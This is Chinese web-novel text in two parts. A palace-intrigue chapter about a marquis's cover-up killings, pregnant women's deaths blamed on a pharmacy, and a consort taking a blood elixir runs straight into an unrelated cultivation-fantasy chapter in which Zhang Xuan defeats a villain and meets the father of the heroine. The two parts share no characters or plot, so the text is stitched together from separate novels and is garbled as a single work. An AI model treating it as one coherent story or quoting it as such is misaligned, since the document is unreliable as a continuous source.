管家颤抖着呈上染血的账本,声音几近呜咽:“侯爷,柔贵妃娘娘说…… 说这些人全都要杀了……” 话未说完,宋明远已将茶盏狠狠砸向墙壁,瓷片飞溅间,他咬牙道:“把尸体丢进护城河里,就说他们卷了府里的财物逃走了!” 而巡防司指挥使王承业正对着案头几封匿名信皱眉。 信中字字直指广阳侯府与回春堂勾结,却又查无实据。 正当他准备命人彻查时,一道圣旨突然降临,圣上宣他即刻入宫。 第112章 养心殿 养心殿内沉香袅袅,王承业却觉后颈渗出冷汗。 面对着喜怒无常的帝王,没有人能泰然自若。 圣上斜倚龙榻,指尖反复摩挲着茶盏,忽然开口:“听说民间对广阳侯府颇有微词?” “回陛下,确有此事。” 王承业扑通跪地,双膝紧贴青砖。 “卯时三刻城门刚开,便有个青年男子击鼓鸣冤。说是妻子服用回春堂安胎药后腹痛出血,回春堂延误治疗,导致胎死腹中,妻子也是从鬼门关拉回来的。” 他偷瞄龙颜,见圣上握着茶盏的指节发白,忙加快语速,“随后又有七八个男子状告相同遭遇,都说服用了回春堂的安胎药后胎死腹中,一尸两命。” 铜鹤香炉中青烟突然扭曲,圣上将茶盏重重砸在案上,盏中茶水泼出半盏:“广阳侯竟敢如此?!” “坊间传言……” 王承业喉结滚动,压低声音,“说是广阳侯仗着妹妹在宫中受宠,动用权势残害孕妇,为的是……” 他猛地收口,额头贴地不敢再言。 殿内死寂片刻,只听得圣上粗重的呼吸声。 “为的是什么?说!” 圣上一脚踹翻矮几,青玉镇纸砸在王承业身侧,碎石迸溅。 “民间传、传闻是为炼制邪药!” 王承业浑身发抖,“称那些孕妇腹中胎儿,都成了……成了药引!” 话音未落,养心殿内传来瓷器碎裂声,圣上掀翻龙案,满桌奏折如雪花纷飞。 发了一通脾气的圣上斜倚在龙榻上,目光扫过王承业手中的密报:“裴子慕弹劾广阳侯府私藏刺客,可你巡防司至今未查出个所以然?” 王承业额头贴地:“陛下恕罪,此案疑点重重,刺客已经服毒自尽,臣正在审讯其他人。” “够了。” 圣上挥了挥手,目光转向窗外摇曳的宫柳,“听说永和宫昨夜动静不小?” 话音未落,王承业后背瞬间渗出冷汗。 他突然想起昨夜巡逻时,隐约看见几辆马车从永和宫后门疾驰而出,车辙印里还带着暗红的痕迹。 与此同时,国师府书房内,老者正将最后一张密信投入火盆。 火苗舔舐着信纸,“柔贵妃” 三个字在灰烬中扭曲变形。 他望着跳动的火光,嘴角勾起一抹莫测的笑:“裴子慕,这盘棋,该换个走法了……” 暮色悄然笼罩皇城,裴子慕独坐摄政王府书房,案头摆着巡防司呈交的“刺客已畏罪自尽”的文书,墨迹未干的字里行间,满是欲盖弥彰的痕迹。 “王爷,宫里传来消息。” 暗卫单膝跪地,压低声音道,“今日巳时,广阳侯府三名心腹突然暴毙,尸体被丢进护城河,永和宫昨夜有三辆马车出入,车辕缝隙里检出暗红污渍,疑似血迹。” 裴子慕猛地合上文书,轮椅碾过青砖发出刺耳声响:“果然开始灭口了。” 他苍白的脸上泛起冷笑,“去查清楚,这几人最近与谁接触过。还有……” 话音未落,窗外突然传来急促的脚步声,贴身侍卫捧着个檀木匣子匆匆而入。 “王爷,有人送来这个。” 匣子打开,里面赫然是一朵透着不详的血莲,栽种的花盆雕着永和宫特有的并蒂莲纹。 与此同时,养心殿内气氛凝重如铅。圣上盯着跪在阶下的王承业,冷笑,“别告诉朕永和宫里发生了什么你不知情,若真是那样朕就要好好考虑你是否能胜任巡防司首领一职。” “回陛下,臣的人亲眼所见马车出入。” 王承业额头沁出冷汗,“但事关宫妃,未敢擅自闯入搜查。” 圣上突然将密报砸在地上,龙袍扫过蟠龙柱:“废物!裴子慕那边步步紧逼,你却连这点事都办不好!” 他来回踱步,想起近日柔贵妃愈发娇艳却透着诡异的面容,想起她身上经久不散的血腥味,心中突然升起一阵恶寒。 “传朕旨意,” 圣上眯起眼睛,“宣太医令入宫,就说……就说朕要为后宫嫔妃们做一次彻查。” 永和宫内,柔贵妃对着铜镜反复涂抹胭脂,却总觉得遮不住眼底的青灰。 宫女捧着食盒进来时,她突然打翻妆奁:“出去!都出去!” 屋内只剩她一人时,她颤抖着从暗格里取出琉璃盏。 里面残存的血莲汁泛着暗红,像凝固的血痂。 “娘娘,广阳侯府传来消息。” 贴身嬷嬷匆匆而入,神色慌张,“那三个替死鬼的事,巡防司好像开始怀疑了。还有……” 她压低声音,“陛下宣了太医令入宫。” 柔贵妃手中的琉璃盏应声落地,碎片溅起暗红汁液。 永和宫的铜兽香薰吐出惨白烟雾,她跌坐在织金软榻上,指尖死死掐进掌心:“国师呢?快去找国师!” 她顾不上妆发,发髻散乱地闯入国师府,连珠翠头饰都歪了,“国师!救救我!圣上如今看我的眼神都冷了!” 国师半阖的眼微微睁开,不紧不慢的摇晃着手中的折扇:“急什么?” 他慢悠悠起身,从暗格里取出个翡翠瓶,瓶中暗红液体在烛光下泛着诡异的光泽。 “这是最后一味血魄丹,比寻常血莲汁强上十倍。服下后十二个时辰内,你的肌肤会如婴儿般莹润,眼眸含春水,发间自带异香 。圣上见了,定会重新被你勾去魂魄。” 柔贵妃盯着那瓶药,喉咙剧烈滚动:“十二个时辰之后呢?” “娘娘还惦记着十二个时辰之后?” 国师发出刺耳的笑声,脸上皱纹扭曲如蛛网,“如今圣怒难消,裴子慕又在背后推波助澜,你若今夜不能重获圣心,有没有命等到下一个十二个时辰,都是个未知数!” 他将玉瓶狠狠塞进柔贵妃手中,“别忘了,广阳侯府的命,还有你那张日渐衰败的脸,可都系在这瓶药上!” 窗外惊雷炸响,照亮柔贵妃煞白的脸。 她盯着瓶中暗红液体,指甲深深掐进掌心。 最终,她一仰头将药液灌入口中,腥甜的味道在喉间炸开,腹中顿时燃起一团烈火。 第113章 代价 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… 